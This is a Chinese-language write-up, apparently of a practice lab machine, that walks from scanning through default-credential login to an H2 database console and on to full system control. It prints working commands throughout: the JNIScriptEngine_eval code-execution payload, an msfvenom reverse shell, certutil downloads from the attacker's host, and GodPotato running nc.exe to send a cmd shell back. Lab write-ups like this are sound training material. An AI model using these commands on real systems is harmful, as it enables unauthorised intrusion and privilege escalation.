讓我們看看這系統有甚麼東西
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.105.66 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.105.66 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.105.66 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.105.66 -type recon;
http://jacko/html/main.html 在 Port 80 上面開了一個叫做 H2 Database Engine的服務
http://jacko:8082/login.jsp?jsessionid=7b67a86d8e2e6fe84ea5e5a968087c4c 在 Port 8082上面有個 H2 資料庫的登入介面
查了 一下這個資料庫的預設帳號密碼,看起來 username 是 sa 然後 password 可以不用打
用了預設帳密可以順利登入成功! 接著就是看看這網站可以提供我們甚麼了
在搜尋跟 H2 databese 相關的弱點時,看到這個 exploit code(https://www.exploit-db.com/exploits/49384). 看起來是用 Java Native Interface (JNI) 去執行指令
而在帶入 command時 我們也確實能拿到 whoami 的結果
現在就是來是看看能不能執行我們的 reverse shell了
先用 msfvenom 去產生一個 shell code 然後利用 JNIScript 去上傳我們的 code 到這台靶機
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.175 LPORT=80 -f exe -o rShell.exe
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil.exe -urlcache -f http://192.168.45.175/rShell.exe C:/Windows/Tasks/rShell.exe").getInputStream()).useDelimiter("\\Z").next()');
本來想確認檔案上傳的狀態,但因為權限不夠的關係,我們沒有辦法確認是否順利上傳成功
所以只能直接執行看是否有reverse shell 反彈回來
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("cmd /c dir C:\Windows\Tasks").getInputStream()).useDelimiter("\\Z").next()');
在設定好監聽後 便利用JNIscript去執行我們的 code 然後順利得到一個 reverse shell.
不過這邊有一個問題是環境變數並沒有被設定完整 所以無法直接使用任何 windows 的命令
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Windows/Tasks/rShell.exe").getInputStream()).useDelimiter("\\Z").next()');
PATH 路徑不含 System32
echo %PATH%
環境變數設定好後 我們知道現在的身份是Tony 然後可以直接去 Tony 的目錄下面拿到 flag
set PATH=%PATH%;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;
我們去確認一下 Tony 有什麼權限可以使用 這時候我們發現有seImpersonateprivilege enable
whoami /all
這是一個非常經典的弱點 我們直接上傳 GodPotato 然後執行一個 shell command 連回我們的 Kali
這樣就順利拿到 root 的權限 跟我們的 flag ~
PS. GodPotato https://github.com/BeichenDream/GodPotato
cd C:\Windows\Temp && certutil -urlcache -f http://192.168.45.175:8000/GodPotato-NET4.exe GodPotato-NET4.exe
GodPotato-NET4.exe -cmd ".\nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.175 80"